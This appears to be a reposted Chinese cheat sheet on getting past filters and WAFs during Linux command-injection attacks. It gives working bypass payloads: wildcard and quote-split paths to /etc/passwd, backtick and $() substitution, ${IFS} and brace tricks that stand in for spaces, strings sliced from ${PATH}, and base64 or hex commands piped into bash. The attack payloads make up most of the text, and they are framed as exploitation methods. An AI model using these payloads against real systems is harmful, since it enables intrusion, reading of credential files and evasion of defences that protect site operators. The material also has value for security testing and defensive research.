一、通配符
- 代表『0个到无穷多个』任意字符,包括空字符
? 代表『一定有一个』任意字符
<input disabled="" type="checkbox"> 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ]若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表0到9之间的所有数字,因为数字的语系编码是连续的!
[ ^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。
{ } 和[ ]的区别是如果匹配的文件不存在,[ ]会失去模式的功能,变成一个单纯的字符串,而{ }依然可以展开。
利用方法:
- 举例:/?in/cat /?tc/p?sswd //这个就相当于寻找/bin/cat /etc/passwd
- /?in/[l][^dnpqrtuvwxyz] -l //这个就相当于/bin/ls -l ;其中[^dnpqrtuvwxyz]意思就是有这么一个字符,但是排除括号里这些。
- /?in/[l][r-t] -l //这个就相当于/bin/ls -l;其中[r-t]意思是在r-t中进行选择,也就是从r s t 这三个中进行选择。
- /bi?/ca[s-u] /etc/pass* //这个就相当于/bin/cat /etc/passwd ;其中/etc/pass中的代表一个或多个字符,它匹配到的为passwd。
二、连接符
1、单引号
你唯一需要注意的就是闭合,这点很重要,利用这个我们可以绕过一些匹配字符串的WAF规则
例如e'c'ho h'e'l'lo' //其中要注意前后的闭合;
- 例如 读取/etc/passdw : /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
2、双引号
和单引号一样,同样要注意前后的闭合。
例如 /"b"i"n"/"w"h"i"c"h" "n"c //其中要注意前后的闭合;
3、反斜杠
- 举例:/b\i\n/w\h\i\c\h n\c
4、特殊连接符反引号
//反引号中间的字符会被当作命令执行
举例:666
whoami
666 666\whoami
666 //命令执行后的结果在2个666中间echo d2hvYW1p|base64 -d
//将其base64解码,然后用反引号来执行命令
- 举例:w
\666
ho\666
am\666
i //反引号中的执行完拼接到一起再执行
遇到的情况:
遇到命令执行的漏洞,其中拼接了字符串但是前后加上了"" 双引号,并且过滤器过滤了双引号导致不能够闭合,则可以通过在反引号中添加要执行的命令拼接上,即可以先执行反引号中的内容,在拼接到原来命令种
比如:原命令是/bin/bash -c echo "123 keyword" 其中keyword可控,因为双引号被过滤 我们无法直接通过双引号闭合,所以可以通过反引号绕过:
keyword = `touch /tmp/success`
那么命令就成了:/bin/bash -c echo "123 touch /tmp/success
"
这样就可以先执行touch /tmp/success,然后再执行echo 123
5、特殊连接符$( ) //$( )里面的字符会被当作命令执行
- 举例:wh$(666)oa$(777)mi //$( )里面的内容先进行执行,再拼接到一起执行。
三、未初始化的bash变量
1、自定义未初始化的变量合并利用
使用$*和$@,$x(x代表1-9),${x}(x>=10) 没有传参的情况下默认为空值。$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$1-$8同理
在bash环境下允许我们使用未初始化的bash变量,如下:
a=wh
b=oami
$a$b
root //输出
2、默认下未定义的变量为空值,绕过过滤
- 举例:$s/bin$s/which$s nc$s //这里的$s默认为空值,所以不会影响输出,实际仍然为/bin/which nc
3、默认变量
$PS2代替>
$PS4代替+
四、切割字符串
1、利用和Windows基本一致
首先echo ${PATH} //查看我们的PATH路径
判断长度echo ${#PATH} //查看我们PATH的长度
确定要截取的长度echo ${PATH:61:6}
2、综合利用
通过PATH中的字符串进行查找拼接
先通过echo ${PATH}查看PATH的路径信息
如需要查看whoami命令,根据PATH路径查找指定的字符:wh${PATH:6:1}${PATH:8:1}m${PATH:12:1}
五、特殊绕过(绕过空格过滤)
1、利用大花括号 { } 绕过
在linux下我们还可以使用大花括号来绕过空格的限制
举例:ls -alt命令中间的空格:{ls,-alt}
2、重定向符号绕过
我们还可以使用<>来绕过空格。
linux中,小于号<表示的是输入重定向,就是把<后面跟的文件取代键盘作为新的输入设备
大于号>是输出重定向,比如一条命令,默认是将结果输出到屏幕。
但可以用>来将输出重定向,用后面的文件来取代屏幕,将输出保存进文件里
举例:ls<>alt
- 举例:cat<>1.txt cat<1.txt
3、Linux中特殊编码base64编码
- 我们还可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码。
举例:
echo whoami|base64 //先输出whoami的base64编码
`echo d2hvYW1pCg==|base64 -d` //将其base64解码
echo "d2hvYW1pCg==" | base64 -d | bash //将base64解码后的命令通过管道符传递给bash
4、进制转换
16进制
举例:网站查询cat ./1.txt十六进制为0x636174202e2f312e747874
- 第一种方式:然后命令为echo "0x636174202e2f312e747874" |xxd -r -p |bash 其中xxd为二进制查看命令,-r为逆向转换。
第二种方式:$(printf "\x63\x61\x74\x20\x2e\x2f\x31\x2e\x74\x78\x74")
'\x3b'代替; 十六进制代替
5、%09(需要PHP环境)
- php环境下web输入%09等效于空格
6、特殊变量${IFS} 或者 $IFS
还有${IFS}是内部字段分隔符的缩写。可以当做空格来使用。
$IFS在linux下表示分隔符,单纯的cat$IFSxxx,bash解释器会把整个IFSxxx当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名。同理在后面加个$可以起到截断的作用。
举例:cat /etc/passwd中间的空格:cat${IFS}/etc/passwd cat$IFS/etc/passwd
版权归原作者 Thunderclap_ 所有, 如有侵权,请联系我们删除。